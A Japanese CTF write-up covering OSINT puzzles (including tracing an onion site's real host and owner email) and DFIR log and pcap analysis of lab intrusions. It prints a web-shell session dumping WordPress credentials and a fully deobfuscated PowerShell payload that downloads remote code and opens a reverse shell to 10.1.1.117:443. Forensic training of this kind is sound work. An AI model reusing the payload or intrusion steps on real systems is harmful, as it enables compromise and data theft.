2
0

NFLabs. Cybersecurity Challenge for Students 2023 Writeup

Last updated at Posted at 2023-11-29

はじめに

11/22 から 11/27 に開催された NFLabs. Cybersecurity Challenge for Students 2023 に参加しました.
最終的な順位は 2 位だったので良かったです.DFIR の問題で First Blood 賞もいただけました.

ほぼ 5 日間あったので問題数も多いですが Writeup を書いたので是非読んでください.

OSINT

ntt.com

ntt.comのドメイン名を日本電信電話株式会社(関連企業を含む)が登録する以前に登録していた企業の名前を答えてください。

過去の Web ページを知りたいので Wayback Machine を使うと見つかる

National TechTeam

Repair

この銅像の修復にかかった費用をユーロで答えてください。

[解答形式 : €**.***]

repair.png
画像が渡されているのでとりあえず Google 画像検索を使う.

色んな記事が出てくるので読んでみるけど正確な金額が書かれたものが見つからない.

画像検索の結果からスペインの話であることがわかるので,画像検索から離れてスペイン語で Restauración de la escultura de San Georgios と検索してみる.

El San Jorge de Estella, restaurado tal como debió de ser en el siglo XVIII という記事の中に 30.759,72 euros とある.

€30.759

stranger than fiction

author:yamaguchi
ある著名な元俳優が2022年2月下旬、国会議員のDavid braun氏を含む5名で撮った動画をSNSにアップロードしました。 その俳優の代表作の第一話冒頭に映っている記念碑の場所を答えてください。 回答は緯度経度を小数点下一桁(下二桁目以降は切り捨て)までお願いします。

[解答形式 : N**.*,E**.*]

David braun Parliament とかで調べるとウクライナの人であることがわかる.
また WikipediaX を見ると David braun は仮名で Davyd Arakhamia さんであることがわかる.

2022 年 2 月下旬のタイミングで元俳優ということなので,Volodymyr Zelenskyy さんがその元俳優っぽい.
「国民の僕」というテレビドラマが代表作であることがわかり,Netflix で見られるので確認してみると広場みたいなところに高い塔が立っていて,ウクライナ 記念碑 で探すと同じものが見つかる.

独立広場 (Майдан Незалежності) の Independence Square がその記念碑なので座標は
50.450307816031874, 30.52386391468849

N50.4,E30.5

celebration

author:yamaguchi
カタールW杯のベストゴールのゴールセレブレーションの輪の真後ろで、イギリスのあるプロサッカークラブの横断幕が掲げられていました。 そのクラブの名前にもなっている街の名前をアルファベットで答えてください。

カタールW杯 ベストゴール とかで調べるとブラジル代表の Richarlison 選手のセルビア戦でのゴールであることがわかるので,その瞬間の動画や画像を world cup qatar best goalRicharlison Goal vs Serbia で調べる.

色々見ていると X で見つかる.
動画は再生できないが,白に赤十字の MIDDLESBROUGH と書かれた旗がある.
Screenshot_20231126_024204.png

調べると Middlesbrough FC というチームであることがわかる

Middlesbrough

Contact

author:yamaguchi
友人とご飯を楽しんでいるときに、その友人から以下のような相談があった。

ダークウェブ上でCatTyphoonというペネトレーションツールを購入するために料金を支払ったのだが、ツールが送付されなかった。 サイトに記載のあったメールアドレスに連絡していたが、連絡が途絶えてしまった。現在もそのメールアドレスでは連絡がつかない。 またやりとりした人の名前について、苗字がSuで始まり、名前がTarouであったことは覚えてる。

ツールを利用したいが、現状連絡がとれないため、別の連絡手段を探しているらしい。 相談内容をもとに別の連絡先と思われるメールアドレスを教えてあげよう。そのメールアドレスをフラグとして投入してください。

[解答形式 : su*********@gmail.com]
  • ヒント
    ヒント1: ダークウェブだからといっていつでもIPアドレスを秘匿できないわけではない。
    ヒント2: IPに紐づくOnionドメイン以外のドメインを見つけただろうか?そのドメインの管理者を見つけ出して欲しい。
    

この問題で出てくるドメイン名とかの情報は Writeup に載せられないので hoge.com という情報を隠すときは [**domain_name**].com とかにしているので適宜読み替えてください.

Tor ブラウザで CatTyphoon penetration tool で調べるとすぐに見つかる.

https://[**56_length_domain_name**].onion.ly/

このドメインの最後の .onion.ly は Tor ブラウザ無しで Onion ドメインにアクセスするためのプロキシサーバのドメインになっているので,.ly を削除して使う.

サイトの中には以下の情報がある.

  • Contact us before pay ([**random?_email_address**]@proton.me)
  • Pay with ETH, address is [**ethereum_address**]
    • ETH のアドレスから取引を追ってみたりしたけど何も見つからず.

Shodan で調べてみる.
そのままドメインを入れたりしても見つからないので,favicon のハッシュ値で調べてみる.
Favicon hash generator を使えばハッシュ値が得られる.(ただし,Onion ドメインには対応していないので,直接ダウンロードしたものをアップロードする.ダウンロードには,Tor ブラウザでダウンロードするか,以下のようにしてコマンドラインからダウンロードする.)

└─< . torsocks on 
Tor mode activated. Every command will be torified for this shell.

└─< wget http://[**56_length_domain_name**].onion/favicon.ico

フィルタ (ログインしないと使えない) を http.favicon.hash:[**favicon_hash**] に設定して検索すると探していたサイトが見つかる.
shodan_favicon_result_modified.png

検索結果から IP アドレスが [**IP_1**] で,AWS を使っていることがわかる.

他に情報が無いので censys でこの IP アドレスを調べてみると [**soreppoi_domain_name**].com というドメインが見つかる.

このドメイン名を Shodan で検索すると,先ほどとは別の IP [**IP_2**] が見つかる.
https://[**IP_2**]/ にアクセスしてしばらく待つとこんな感じできちんと表示されないが問題文に沿う名前が出てくる.
blog1.png

必要なファイルが src="https://[**soreppoi_domain_name**]/..." みたいにフルパスで指定されているので,見つからずこうなってしまっているが,ブログの情報を探るには不便なので /etc/hosts ファイルに以下の行を加えて https://[**soreppoi_domain_name**]/ にアクセスするときちんと表示される

[**IP_2**]   [**soreppoi_domain_name**]

blog2.png

WordPress が使われているので探ってみるといろいろ情報が得られるが,メールアドレスが登録されていない?っぽいことがわかる.

ドメイン登録情報に載っていないか調べると WHOIS検索who.is とかで見つかるアドレスは

abuse@amazonaws.com

[**owner's_amazon_privacy_email**]@identity-protect.org

ぐらい.
AWS のドキュメント

プライバシー保護が有効になっている場合、WHOIS のクエリに対する応答では、[登録者 E メール] の値は owner1234@example.com.identity-protect.org のような値になります。

とあって所有者の情報は隠されていることがわかる.

過去のドメイン名登録情報も検索するために whois history とかで検索して見つかったサイトで片っ端から調べると WHOXY で探していたメールアドレスが見つかる.

DFIR

flower

会社で管理しているWebサイトにアクセスすると、「We hacked your Web page :)」という文章が表示されるというインシデントが発生しました。あなたはWebサーバを調査したが、不審なログを発見することはできませんでした。 しかし、調査の過程でWebサイトのドメイン名をDNS名前解決した際、本来のIPアドレスとは異なるIPアドレスが返っていることを発見しました。あなたはDNSに問題が発生していると考え、通信経路上で取得していたパケットデータを確認することにしました。 pcapngファイルを解析し、インシデントの原因となる攻撃を行ったと考えられる端末のIPアドレスを解答してください。

flower.pcapng

Wireshark で flower.pcapng を開く.
[Statics] -> [Endpoints] でウィンドウを開いて [IPv4・5] のタブを選択すると 5 つの IP アドレスがあることがわかる.
Screenshot_20231127_150125.png

最初の方のやりとりを見るとこうなってそう

  • 10.64.3.123 --> Client
  • 10.64.3.64 --> Web server
  • 10.64.3.120 --> DNS server

最後のやり取りを見ると We hacked your Web page :) を返してくるサーバがあるので

  • 10.64.3.178 --> Malicious web server

他にもうひとつ IP アドレスが残っていて,10.64.3.120 (DNS server)のみとやり取りしている

  • 10.64.3.101 --> Attacker
10.64.3.101

rockyou

あなたの運営しているwebアプリケーションにおいて、不正ログインが発生している可能性があるという報告がありました。それを知った同僚がパケットキャプチャを行ってくれていました。セキュリティ担当であるあなたは、手元にあるデータを用いて不正ログインに関する調査を行うこととなりました。Webサーバのアクセスログとpcapファイルを元に不正ログインされている可能性が高いと思われるユーザのユーザ名を解答してください。

output.pcap
access.log

ログインに成功しているパケットを探すので,

http.response.code==200

でフィルタリングするとパケットが一つだけ引っかかるので,右クリックして [Follow] -> [HTTP Stream] とするとログインに成功したユーザ名が見つかる.
rockyou.png

william

exfildb

あなたはシステム&セキュリティ担当の一員として、Webサイトのインシデント対応におけるログ分析を依頼されました。システム構成および調査対象のログは、exfildb.zipに格納されています。攻撃者にDBの情報が持ち出されたと推測される時間を調査し、日本時間(JST)で mm:hh:ss の形式で解答してください。

例) 持ち出された時間が日本時間で2023年9月6日11時02分05秒の場合、11:02:05と解答してください。

exfildb.zip
exfildb.zip
├── IDSlog
│   ├── 2021-04-20_1645_nids_log.pcap
│   ├── 2021-04-20_nids_et_eve.json
│   └── 2021-04-20_nids_et_fast.log
├── Jumpserver
│   └── 2021-04-20_jump_secure.log
├── systeminfo.pdf
└── Webserver
    └── 2021-04-20_web_access.log

この問題では基本的に PDF の 6 ページ目の時間と 2021-04-20_1645_nids_log.pcap ファイルのパケットを見比べながら探す.
(Wireshark はデフォルトでは時間の表示がないはずなので,カラムを変更するか追加しないといけない.)

パケットは UTC 07:45:00 からなので,UTC 07:47:00 から見ていく.
パケットの方を見ると UTC 07:47:00 に 172.16.193.101 (外) から 172.16.10.11 (Web Server) にペイロードが送られてコマンドが実行されている.

  • No.30768~ のストリーム
    exfildb_30768.png
  • No.30781~ のストリーム
    exfildb_30781.png

これらのストリームから 172.16.193.101 が Attacker の IP アドレスであることがわかる.
ちなみに,一つ目のストリームでサーバに cmd.php を配置してそこにコマンドを投げると実行できるようにしている.

実行されたコマンドを知りたいので,以下のようにフィルタリングする.

http.request.uri.path == "/wordpress/wp-content/plugins/wp-file-manager/lib/files/cmd.php"

実行されたコマンドとそのレスポンスをまとめると以下のようになる.

実行されたコマンド
$ hostname

web.localdomain
$ ip addr

1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
	link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
	inet 127.0.0.1/8 scope host lo
	valid_lft forever preferred_lft forever
	inet6 ::1/128 scope host 
	valid_lft forever preferred_lft forever
2: ens192: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UP group default qlen 1000
	link/ether 00:50:56:bb:1c:db brd ff:ff:ff:ff:ff:ff
	inet 172.16.10.11/24 brd 172.16.10.255 scope global noprefixroute ens192
	valid_lft forever preferred_lft forever
	inet6 fe80::81ed:fb67:da16:c88a/64 scope link noprefixroute 
	valid_lft forever preferred_lft forever
$ pwd

/var/www/html/wordpress/wp-content/plugins/wp-file-manager/lib/files
$ls

cmd.php
$ ls ../

codemirror
css
files
img
index.php
jquery
js
main.default.js
php
sounds
themes
wpfilemanager.php

...

$ ls ../../../../../

index.php
license.txt
readme.html
wp-activate.php
wp-admin
wp-blog-header.php
wp-comments-post.php
wp-config-sample.php
wp-config.php
wp-content
wp-cron.php
wp-includes
wp-links-opml.php
wp-load.php
wp-login.php
wp-mail.php
wp-settings.php
wp-signup.php
wp-trackback.php
xmlrpc.php
$ cat ../../../../../wp-config.php

<?php
/**
 * WordPress ...............
 *
 * ................................................ wp-config.php ..........................................
 * ................................................... "wp-config.php" .................................
 * ............................................................
 *
 * .........................................................
 *
 * * MySQL ......
 * * .........
 * * .......................................
 * * ABSPATH
 *
 * @link https://ja.wordpress.org/support/article/editing-wp-config-php/
 *
 * @package WordPress
 */

// ......:
// Windows ... "........." ...................................................... !
// .............................................
// (http://wpdocs.osdn.jp/%E7%94%A8%E8%AA%9E%E9%9B%86#.E3.83.86.E3.82.AD.E3.82.B9.E3.83.88.E3.82.A8.E3.83.87.E3.82.A3.E3.82.BF ......)
// ..................... UTF-8 ... BOM ...... (UTF-8N) ..............................

// ** MySQL ...... - ..................................................................... ** //
/** WordPress ................................. */
define( 'DB_NAME', 'wpdb' );

/** MySQL .................................... */
define( 'DB_USER', 'wpdbadmin' );

/** MySQL .................................... */
define( 'DB_PASSWORD', 'wpdbadmin' );

/** MySQL ............... */
define( 'DB_HOST', '172.16.10.12' );

/** .......................................................................................... */
define( 'DB_CHARSET', 'utf8' );

/** ................................. (.........................................................) */
define( 'DB_COLLATE', '' );

/**#@+
 * ...........................
 *
 * .................................... (......) ..........................................
 * {@link https://api.wordpress.org/secret-key/1.1/salt/ WordPress.org ........................} .............................................
 * ...................................................... cookie ....................................................................................................................................
 *
 * @since 2.6.0
 */
define('AUTH_KEY',         'i<6wJ:.EjA#qx42:[BdBVRT~+=_n~F|Ij.lC`eKiQ4aIBHuIK_sfWPxZbTTQjcY,');
define('SECURE_AUTH_KEY',  '{(!)r[lpl3;.ig=D9lk1+BR:ym)I6Om@L%=r$Uass@V-MP(*&+QDL3][dJA}HeyQ');
define('LOGGED_IN_KEY',    'o+^N:][SBo%i{9R8|r2H4C.-cRkL .cD2x3{4;>MEOP6W.pr0YLbibzKy0b4u6C}');
define('NONCE_KEY',        '()l>s;#VV4X#|`+|X )1AKU72=^CKJ^6[Q@|Q{pHW52<Wif$+-cQu>&+4?K+6q]`');
define('AUTH_SALT',        'EW,t<rg+LQ`L51/Pu[N$dZxfy) oC2^A.L]OZ|%x8xBJd<||Y$`.a4}vmvI>!<.J');
define('SECURE_AUTH_SALT', '}T]%5nQ3baU:*U|{pLBDw,NEQdCUv}8CdaG=.[gzy,Vg+V$B9t4Jvfl[4&M^TOjO');
define('LOGGED_IN_SALT',   'KJMp!`_X764XJKulsTA!m~XX 5_>>*@Q`U] 57ULgzJ$=/%pPwK!AMTNdt0}K9lj');
define('NONCE_SALT',       '/;8ai.6P mU*0L9 ]jd6cpV+[^0dJc,Yg~?NA?l{r4Y#=5<s_Me5e[uCD6~e hgP');
/**#@-*/

/**
 * WordPress ..........................................
 *
 * ........................... (......) ........................................................................ WordPress ...
 * ............................................................................................................
 */
$table_prefix = 'wp_';

/**
 * ............: WordPress .....................
 *
 * ............ true ................................. (notice) .....................
 * .......................................................................................... WP_DEBUG ................................................
 *
 * .....................................................................................................................
 *
 * @link https://ja.wordpress.org/support/article/debugging-in-wordpress/
 */
define( 'WP_DEBUG', false );

/* .......................................... ! WordPress ......................................................... */

/** Absolute path to the WordPress directory. */
if ( ! defined( 'ABSPATH' ) ) {
	define( 'ABSPATH', __DIR__ . '/' );
}

/** Sets up WordPress vars and included files. */
require_once ABSPATH . 'wp-settings.php';

07:49:32 に php のコード (認証情報) がリークされている.

この直後の 07:50:07 に 172.16.193.101 (Attacker) から 172.16.10.101 (Jump Server) に SSH 接続されているパケットが確認できる.

Jump Server は使われていないはずなので,ここからは ip.addr == 172.16.10.101 でフィルタリングする.
SSH 接続と並行して UTC 07:53:27 に nc の実行ファイルを 172.16.10.101 (Jump Server) が 172.16.193.101 (Attacker) からダウンロードしている.
UTC 07:53:55 には 172.16.10.101 (Jump Server) から 172.16.193.101 (Attacker) にアクセスしている.
exfildb_36739.png
curl コマンドが二回実行されている.

ip.addr == 172.16.10.101 でフィルタリングした内容で 07:55:03 から SSH と上の Attacker とのやり取り以外に 172.16.10.101 (Jump Server) が 172.16.10.12 (DB Server) と MySQL のやり取りをしている.
(これは mysqldump を実行した時刻と一致している.)

その後のパケットを見ていくと 07:55:26 の curl は失敗しているっぽい.
その後に 07:56:28 の curl コマンド (Jump Server -> Attacker) 直後から FTP のやり取りが Attacker と Jump Server で行われている.
exfildb_39006.png

FTP-DATA が 07:56:28 に送信されていることも確認できるできて,UTC+0900 で答えるので 16:56:28

16:56:28

invader (1)

【導入】

Windowsのサーバーに対して外部から不正アクセスを検知したため、この端末のイベントログを抽出した。

このログを分析し、invader (1) ~ (3)までの3つの問に答えよ。3つの問の解答順序は問わないものとする。

【Q1】

侵入元のIPアドレスを答えよ。

注:192.168.0.0/24以外のIPアドレスはすべて外部のIPアドレスとする。

回答方式:IPアドレスを答える

回答例:192.0.2.2

ログオンに関するログを見たいので Security.evtx をイベントビューアーで開くき,ログオンの成功を指すイベント ID である 4624 でフィルタリングすると 29 個のイベントが見つかる.

外部から不正アクセスなので,この中からリモートで接続されたものを探したいので,Microsoft Docs - アカウント ログオン イベント にあるようにログオンの種類が 3 や 10 のものを探す.

以下の 3 つが見つかる
ログオン ID: 10 2023/10/10 16:44:55 192.168.81.128
ログオン ID: 10 2023/10/10 16:40:03 192.168.81.128
ログオン ID: 3 2023/10/10 16:40:01 192.168.81.128

192.168.81.128

invader (2)

invader (1) の続き

【Q2】

攻撃者は、侵入後にWindows Defenderの設定を変更し特定のフォルダーを検知の対象外とした。

そのフォルダーを答えよ。

回答方式:フォルダーのフルパスを回答(case insensitive)

回答例:C:\Windows\Tasks\

Windows Defender の設定に関してなので Microsoft-Windows-Windows Defender%4Operational.evtx を開く.
(Microsoft Docs - Microsoft Defender ウイルス対策ソフトウェアの問題をトラブルシューティングするため、イベント ログとエラー コードをレビューする)

11 個しかないので,全部見れる.
一番上に以下のログが見つかる

Microsoft Defender ウイルス対策 の構成が変更されました。予期しないイベントだった場合は、マルウェアによる変更の可能性があるため、設定を確認する必要があります。
	以前の値: 
	新しい値: HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\ = 0x0
C:\

invader (3)

invader (2)の続き

【Q3】

攻撃者は、永続化のためにとあるファイル(実行ファイルまたはスクリプトファイル)をOS起動時に自動的に実行するように設定した。

攻撃者が用意したOS起動時に自動的に実行されるファイルを答えよ。

回答方式:ファイルのフルパスを回答(case insensitive)

回答例:C:\Windows\Tasks\test.exe

OS起動時に自動的に実行するように設定した。 とあるので,タスクスケジューラにタスクが登録された際のイベントを探す.
(OS 起動時の自動実行の手法は他にも,レジストリの Run キーに追加されたり,スタートアップフォルダへ配置,Windows サービスへの登録があるが,結果的に今回はタスクスケジューラへの登録)

Security.evtx を開く.
(4698(S): スケジュールされたタスクが作成されました。)

イベント ID を 4698 でフィルタリングすると明らかに怪しいのがみつかる.

<Actions Context="Author">
	<Exec>
		<Command>C:\Windows\System32\cmd.exe</Command>
		<Arguments>/c C:\Users\Administrator\rtcp.exe</Arguments>
	</Exec>
</Actions>
C:\Users\Administrator\rtcp.exe

developer

author:hoyo
開発者が使用していたクラウドサービスが侵害を受けて原因を調査していたところ、ある開発者が複数のサービスや開発端末で同じパスワードを使用していたことがわかりました。

そこであなたはパスワードが漏えいした原因を調査するために、開発者の端末を回収して調査をすることにしました。 開発者に不審な出来事がなかったかヒアリングしたところ、「そういえば、開発に使うソフトウェアをインストールするために、ISOファイルに入っていたインストーラを実行したが、何も表示されなかったなぁ。。」と話しています。 開発者がこの行動を行った大体の時間を聞いて、あなたはこの行動が行われた時間のトラフィックログとOSのイベントログを抽出しました。

このログから、開発者 developer の漏えいしたパスワードを調べてください。

developer.zip
developer.zip
├── Logs
│   ├── Application.evtx
│   ├── HardwareEvents.evtx
│   ├── Internet Explorer.evtx
│   └── ...
└── traffic.pcap

マルウェアが実行されたらしいので,適当にあたりをつけて PowerShell のログを見てみる (Windows PowerShell.evtx をイベントビューアーで開く) と一つ目に明らかに怪しいログが見つかる.
powershell_evtx.png

ここからは難読化を解除していく.
PowerShell の難読化を解除するときは以下がポイントとなる.

  • -e オプションは Base64 でエンコードされた文字列を実行する.
    (-EncodedCommand | -e | -ec)
  • 基本的に文字列が評価されて実行されるので,実行する部分を外して文字列の部分だけ PowerShell に渡すと勝手に元に戻してくれる.
  • PowerShell では基本的に大文字小文字は区別されない.
  • 文字列の評価には iex (Invoke-Expression) が使われる.
    (MicroSoft Docs - Invoke-Expression)
  • () の対応に関しては VSCode で確認できる.
イベントログから得られたスクリプトの難読化解除

Base64 を戻す.

IeX ( (('.(n36{0}{2}{1}n36 -fLDSsEt-LDS,LDStEmL'+'DS,LDSILDS) (n36{2}{0}{3}{1}n36-f LDSriabLELDS,LDSo2LDS,LDSVALDS,LDS:F'+'yLDS) ( [TYPe](n36{0}{1}{2}{3}n36-FLDST'+'LDS,LDSELDS,LDSxt.ELDS,LDSnCo'+'d'+'ingLDS)  )  ; .(n36{1}{0}n36-fLDSExLDS,LDSiLDS'+')(.(n36{3}{2}{'+'1}{0'+'}n36 -fLDSectLDS,LDSjLDS,LDSbLDS,LDSNew-OLD'+'S) (n36{2}{0}{1}n36-fLDSWebLDS,LDSClientLDS,LDSNet.LDS)).(n36'+'{0}{1}{3}{2}{4}n36-f LDSdownl'+'LDS,LDSoLDS,LDSdLDS,LDSaLDS,L'+'DSStringLDS).Invoke((n36{4}{1}{5}{0}{3}{2}n36 -'+'f LDS.LDS,LDSttp://1LDS,LDSibLDS,LDS1.1.117/lLDS,LD'+'ShLDS,LDS0LDS));4Wl{a} = &(LDSSHLDS) n36an36;4Wl{C} = '+'&(n36{1}{0'+'}{2}n36 -f LDSew-ObjecLDS,LDSN'+'LDS,LDStLDS) (n36{1}{0}{2}{7}{6}{3}{5}{4}n36 -f'+'LDSSocLDS,LDSSys'+'tem.Net.LDS,LDSketLDS,LDSCPCliLDS,LDStLDS,LDSenLDS,LDS.T'+'LDS,LDSsLDS)((n36'+'{0}{1}{2}n36-f LDS1LDS,LDS'+'0.'+'1.1.11LDS,LDS7LDS),443);4Wl{S} = 4Wl{C}.(n36'+'{1}{0}n36-f LDSamLDS,LDSGetStreLDS).Inv'+'oke();[byte[]]4Wl{B} = 0..2048He8&(LDS%LD'+'S){0};whil'+'e ((4Wl{i}'+' = 4Wl{S}.(n36{1}{0}n36-f '+'LDSdLDS,LDSReaLDS).Invoke(4Wl{B}, 0, 4Wl{b}.n36loZyenoZygTHn36)) -ne 0) {;4Wl{b2} = 4Wl{B}[0..(4Wl{i}-1)];4Wl{D} = .(LDSDLDS) 4Wl{a} 4Wl{B2};4W'+'l{d} = (.(n36{2}{1}{0}n'+'36-f LDStLDS,LDSbjecLDS,L'+'DSNew-OLDS) -TypeName (n36{1}{0}{3}{4}'+'{2}n36 '+'-f LDSstem.LDS,LDSSyLDS,LDSEncodingLDS,LDSText.ALDS,LDSSCIILDS)).n36GEtoZyStroZyINgn36(4Wl{d},0, 4Wl{D}.n36leoZyNGoZy'+'Thn36);4Wl{sB} = (&(n36{1}{0}n36 -f LDSeXLDS,LDSILDS) 4Wl{D} 2>&'+'1 He8 .(n36{0}{1}{2}n36-fLDSOut-LDS,LDSStrLDS,LD'+'Sin'+'gLDS) );4W'+'l{SoZyB} = 4Wl{soZyB} + LDSPS LDS + (.(n36{0}{1}n36-f LDSpwLDS,LDSdLDS)).n36pAoZyTHn36 + LDS> LDS;4Wl{So'+'ZyBY} = (  (&(n36{3}{1}'+'{2}{0}n36-f LDSeMLDS,'+'LDSHildiLDS,LDSTLDS,LDSGeT-cLDS) (n36{3}{2}{1}{'+'0}n36-fLDS:Fyo2LDS,LDSbLeLDS,LDSRIALDS,LDSv'+'aLDS)  ).n36VAloZyUEn36::n36aSoZyCiIn36).(n36{'+'1}{2}{0}n36 -fLDSytesLDS,LDSGetL'+'DS,LDSBLDS).Inv'+'o'+'ke(4Wl{sb});4W'+'l{SoZyBY} = &(LD'+'SELDS) 4Wl{a} 4Wl{SoZyBy};4Wl{S}.(n36{0}{1}n36-fLDSWrL'+'DS,LDSiteLDS).Invoke(4Wl{SoZyBY},0,4Wl{soZyBY}.n36loZyEngtHn36);4Wl{S}'+'.'+'(n36{1}{0}n36 -fLDSshLDS,LDSFluLDS).In'+'voke();4Wl{b'+'} = 0'+'..20'+'4'+'8He8.(LDS%LDS)'+'{0};};4Wl{S}.(n36{1}{0}n36-f LDSoseLDS,LDSClLDS)'+'.Invoke();4Wl{c}.(n36{1}{0}n36'+'-fLDSoseLDS,L'+'DSClLDS).Invoke();') -cREPLace ([ChAr]111+[ChAr]90+[ChAr]121),[ChAr]96  -cREPLace  ([ChAr]76+[ChAr]68+[ChAr]83),[ChAr]39-repLAcE ([ChAr]72+[ChAr]101+[ChAr]56),[ChAr]124  -cREPLace  ([ChAr]110+[ChAr]51+[ChAr]54),[ChAr]34  -repLAcE  '4Wl',[ChAr]36) )

iex の中身が文字列で 'XXX'+'YYY'+'ZZZ'+... みたいに繰り返し結合されているので間の '+' を取り除き,iex の中身の文字列を取り出す.

('.(n36{0}{2}{1}n36 -fLDSsEt-LDS,LDStEmLDS,LDSILDS) (n36{2}{0}{3}{1}n36-f LDSriabLELDS,LDSo2LDS,LDSVALDS,LDS:FyLDS) ( [TYPe](n36{0}{1}{2}{3}n36-FLDSTLDS,LDSELDS,LDSxt.ELDS,LDSnCodingLDS)  )  ; .(n36{1}{0}n36-fLDSExLDS,LDSiLDS)(.(n36{3}{2}{1}{0}n36 -fLDSectLDS,LDSjLDS,LDSbLDS,LDSNew-OLDS) (n36{2}{0}{1}n36-fLDSWebLDS,LDSClientLDS,LDSNet.LDS)).(n36{0}{1}{3}{2}{4}n36-f LDSdownlLDS,LDSoLDS,LDSdLDS,LDSaLDS,LDSStringLDS).Invoke((n36{4}{1}{5}{0}{3}{2}n36 -f LDS.LDS,LDSttp://1LDS,LDSibLDS,LDS1.1.117/lLDS,LDShLDS,LDS0LDS));4Wl{a} = &(LDSSHLDS) n36an36;4Wl{C} = &(n36{1}{0}{2}n36 -f LDSew-ObjecLDS,LDSNLDS,LDStLDS) (n36{1}{0}{2}{7}{6}{3}{5}{4}n36 -fLDSSocLDS,LDSSystem.Net.LDS,LDSketLDS,LDSCPCliLDS,LDStLDS,LDSenLDS,LDS.TLDS,LDSsLDS)((n36{0}{1}{2}n36-f LDS1LDS,LDS0.1.1.11LDS,LDS7LDS),443);4Wl{S} = 4Wl{C}.(n36{1}{0}n36-f LDSamLDS,LDSGetStreLDS).Invoke();[byte[]]4Wl{B} = 0..2048He8&(LDS%LDS){0};while ((4Wl{i} = 4Wl{S}.(n36{1}{0}n36-f LDSdLDS,LDSReaLDS).Invoke(4Wl{B}, 0, 4Wl{b}.n36loZyenoZygTHn36)) -ne 0) {;4Wl{b2} = 4Wl{B}[0..(4Wl{i}-1)];4Wl{D} = .(LDSDLDS) 4Wl{a} 4Wl{B2};4Wl{d} = (.(n36{2}{1}{0}n36-f LDStLDS,LDSbjecLDS,LDSNew-OLDS) -TypeName (n36{1}{0}{3}{4}{2}n36 -f LDSstem.LDS,LDSSyLDS,LDSEncodingLDS,LDSText.ALDS,LDSSCIILDS)).n36GEtoZyStroZyINgn36(4Wl{d},0, 4Wl{D}.n36leoZyNGoZyThn36);4Wl{sB} = (&(n36{1}{0}n36 -f LDSeXLDS,LDSILDS) 4Wl{D} 2>&1 He8 .(n36{0}{1}{2}n36-fLDSOut-LDS,LDSStrLDS,LDSingLDS) );4Wl{SoZyB} = 4Wl{soZyB} + LDSPS LDS + (.(n36{0}{1}n36-f LDSpwLDS,LDSdLDS)).n36pAoZyTHn36 + LDS> LDS;4Wl{SoZyBY} = (  (&(n36{3}{1}{2}{0}n36-f LDSeMLDS,LDSHildiLDS,LDSTLDS,LDSGeT-cLDS) (n36{3}{2}{1}{0}n36-fLDS:Fyo2LDS,LDSbLeLDS,LDSRIALDS,LDSvaLDS)  ).n36VAloZyUEn36::n36aSoZyCiIn36).(n36{1}{2}{0}n36 -fLDSytesLDS,LDSGetLDS,LDSBLDS).Invoke(4Wl{sb});4Wl{SoZyBY} = &(LDSELDS) 4Wl{a} 4Wl{SoZyBy};4Wl{S}.(n36{0}{1}n36-fLDSWrLDS,LDSiteLDS).Invoke(4Wl{SoZyBY},0,4Wl{soZyBY}.n36loZyEngtHn36);4Wl{S}.(n36{1}{0}n36 -fLDSshLDS,LDSFluLDS).Invoke();4Wl{b} = 0..2048He8.(LDS%LDS){0};};4Wl{S}.(n36{1}{0}n36-f LDSoseLDS,LDSClLDS).Invoke();4Wl{c}.(n36{1}{0}n36-fLDSoseLDS,LDSClLDS).Invoke();') -cREPLace ([ChAr]111+[ChAr]90+[ChAr]121),[ChAr]96  -cREPLace  ([ChAr]76+[ChAr]68+[ChAr]83),[ChAr]39-repLAcE ([ChAr]72+[ChAr]101+[ChAr]56),[ChAr]124  -cREPLace  ([ChAr]110+[ChAr]51+[ChAr]54),[ChAr]34  -repLAcE  '4Wl',[ChAr]36

最後の方が -creplace となっているので,置換される文字列を元に戻して Python で置換する. (-creplace は大文字,小文字を区別する)

s1 = obfuscated_strings
s2 = s1.replace("oZy", "`")
s3 = s2.replace("LDS", "'")
s4 = s3.replace("He8", "|")
s5 = s4.replace("n36", '"')
s6 = s5.replace("4Wl", "$")
print(s6)
.("{0}{2}{1}" -f'sEt-','tEm','I') ("{2}{0}{3}{1}"-f 'riabLE','o2','VA',':Fy') ( [TYPe]("{0}{1}{2}{3}"-F'T','E','xt.E','nCoding')  )  ; .("{1}{0}"-f'Ex','i')(.("{3}{2}{1}{0}" -f'ect','j','b','New-O') ("{2}{0}{1}"-f'Web','Client','Net.')).("{0}{1}{3}{2}{4}"-f 'downl','o','d','a','String').Invoke(("{4}{1}{5}{0}{3}{2}" -f '.','ttp://1','ib','1.1.117/l','h','0'));${a} = &('SH') "a";${C} = &("{1}{0}{2}" -f 'ew-Objec','N','t') ("{1}{0}{2}{7}{6}{3}{5}{4}" -f'Soc','System.Net.','ket','CPCli','t','en','.T','s')(("{0}{1}{2}"-f '1','0.1.1.11','7'),443);${S} = ${C}.("{1}{0}"-f 'am','GetStre').Invoke();[byte[]]${B} = 0..2048|&('%'){0};while ((${i} = ${S}.("{1}{0}"-f 'd','Rea').Invoke(${B}, 0, ${b}."l`en`gTH")) -ne 0) {;${b2} = ${B}[0..(${i}-1)];${D} = .('D') ${a} ${B2};${d} = (.("{2}{1}{0}"-f 't','bjec','New-O') -TypeName ("{1}{0}{3}{4}{2}" -f 'stem.','Sy','Encoding','Text.A','SCII'))."GEt`Str`INg"(${d},0, ${D}."le`NG`Th");${sB} = (&("{1}{0}" -f 'eX','I') ${D} 2>&1 | .("{0}{1}{2}"-f'Out-','Str','ing') );${S`B} = ${s`B} + 'PS ' + (.("{0}{1}"-f 'pw','d'))."pA`TH" + '> ';${S`BY} = (  (&("{3}{1}{2}{0}"-f 'eM','Hildi','T','GeT-c') ("{3}{2}{1}{0}"-f':Fyo2','bLe','RIA','va')  )."VAl`UE"::"aS`CiI").("{1}{2}{0}" -f'ytes','Get','B').Invoke(${sb});${S`BY} = &('E') ${a} ${S`By};${S}.("{0}{1}"-f'Wr','ite').Invoke(${S`BY},0,${s`BY}."l`EngtH");${S}.("{1}{0}" -f'sh','Flu').Invoke();${b} = 0..2048|.('%'){0};};${S}.("{1}{0}"-f 'ose','Cl').Invoke();${c}.("{1}{0}"-f'ose','Cl').Invoke();

この文字列が実行されるので ; で改行して整形する.

